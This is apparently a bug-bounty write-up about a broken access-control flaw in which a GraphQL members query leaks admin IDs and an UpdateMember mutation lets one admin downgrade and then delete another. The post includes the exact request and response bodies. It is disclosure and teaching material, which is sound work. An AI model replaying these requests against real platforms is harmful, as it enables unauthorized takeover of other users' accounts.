June 21, 2026
How I Turned One Admin Account Into a Full Org Takeover
Note: The target’s name has been withheld and replaced with example.com, since this report is still under responsible disclosure / private…
ameensec
2 min read
Note: The target's name has been withheld and replaced with example.com, since this report is still under responsible disclosure / private to the program.
Summary
Normally, if you are an Admin on this platform, the UI does not let you touch another Admin's account. You cannot downgrade them. You cannot delete them. This is by design admins are supposed to be protected from each other.
But the protection only existed on the frontend (UI). The backend API had no such check.
This meant any Admin could:
- Call the API directly and downgrade another Admin to a lower role (like
DEVELOPER) - Once downgraded, that "ex-admin" became a normal, deletable member
- Delete them through the normal UI — no extra hacking needed for this last step
Notice the UI is blocking something
I added a new member and gave them the ADMIN role. Once they were an Admin, I checked the UI:
- No "Downgrade" option
- No "Delete" option
Good — that's expected behavior. Admin accounts should be protected.
But here's the thing every bug hunter should remember: a button being hidden or disabled in the UI does not mean the backend actually blocks the action. UI restrictions are often just cosmetic. The real test is to check the API directly.
Grab the member's ID
When I added the new Admin, the API response (from the AddMember call) returned the full member object, including their unique ID
{
"id": "11111111-aaaa-bbbb-cccc-222222222222",
"role": "ADMIN",
"status": "ACTIVE"
}{
"id": "11111111-aaaa-bbbb-cccc-222222222222",
"role": "ADMIN",
"status": "ACTIVE"
}That ID is the key. With it, I can reference this specific user directly in other API calls — bypassing whatever the UI is or isn't showing me.
But wait, how do you get the original Admin's ID?
During triage, the program asked a fair question: the example above shows me getting the ID of an admin I just invited myself but the real risk is being able to attack the original/existing Admin, someone I didn't invite and shouldn't know the ID of. So where does that ID come from?
Turns out the application leaks it for free. Any authenticated Admin (even a brand-new one) can call this query to list every member of the organization
{
"operationName": "GetOrganizationMembersQuery",
"variables": { "status": "ACTIVE" },
"query": "query GetOrganizationMembersQuery($status:MemberStatusFilter){organization{availableMemberRoles name members(status:$status){email id lastAccessTimestamp name role status __typename}__typename}}"
}{
"operationName": "GetOrganizationMembersQuery",
"variables": { "status": "ACTIVE" },
"query": "query GetOrganizationMembersQuery($status:MemberStatusFilter){organization{availableMemberRoles name members(status:$status){email id lastAccessTimestamp name role status __typename}__typename}}"
}The response includes every member, including every Admin — full email, role, status, and most importantly, their internal id
{
"email": "redacted@example.com",
"id": "a5bc6f2a-bf3d-41ee-9c0a-5c0e42d55205",
"role": "ADMIN"
}{
"email": "redacted@example.com",
"id": "a5bc6f2a-bf3d-41ee-9c0a-5c0e42d55205",
"role": "ADMIN"
}So the real attack chain is:
- Get invited as a brand-new Admin (or already be one)
- Call
GetOrganizationMembersQueryinstantly get the ID, email, and role of every Admin in the org, including the original/founding Admin - Use that ID in the
UpdateMembermutation from Step 3 to downgrade the original Admin - Delete them through the UI, now that they're "just" a Developer
This closes the gap: the original Admin never has to do anything, and the attacking Admin never has to guess or brute-force an ID — the API hands it over directly in a normal members-list call.
Try the downgrade directly via the API
The application uses GraphQL on the backend. I crafted a manual request to the UpdateMember mutation, targeting that same Admin's ID, and tried to change their role to DEVELOPER
{
"operationName": "UpdateMember",
"variables": {
"id": "11111111-aaaa-bbbb-cccc-222222222222",
"updates": { "role": "DEVELOPER" }
},
"query": "mutation UpdateMember($id:String!$updates:UpdateMemberInput!){updateMember(id:$id updates:$updates){id email role}}"
}{
"operationName": "UpdateMember",
"variables": {
"id": "11111111-aaaa-bbbb-cccc-222222222222",
"updates": { "role": "DEVELOPER" }
},
"query": "mutation UpdateMember($id:String!$updates:UpdateMemberInput!){updateMember(id:$id updates:$updates){id email role}}"
}I expected this to fail. It didn't.
Server response
{
"data": {
"updateMember": {
"id": "11111111-aaaa-bbbb-cccc-222222222222",
"role": "DEVELOPER"
}
}
}{
"data": {
"updateMember": {
"id": "11111111-aaaa-bbbb-cccc-222222222222",
"role": "DEVELOPER"
}
}
}The backend happily downgraded a fellow Admin's role — even though the UI was specifically built to prevent exactly this.
Confirm full takeover is possible
Once the role changed to DEVELOPER, I went back to the UI. The same account that was "protected" two minutes ago now showed a normal "Delete" button, because as far as the UI was concerned, this was just a regular Developer now — not an Admin.
I deleted the account.
No errors. No extra checks. The account that was supposed to be protected was gone.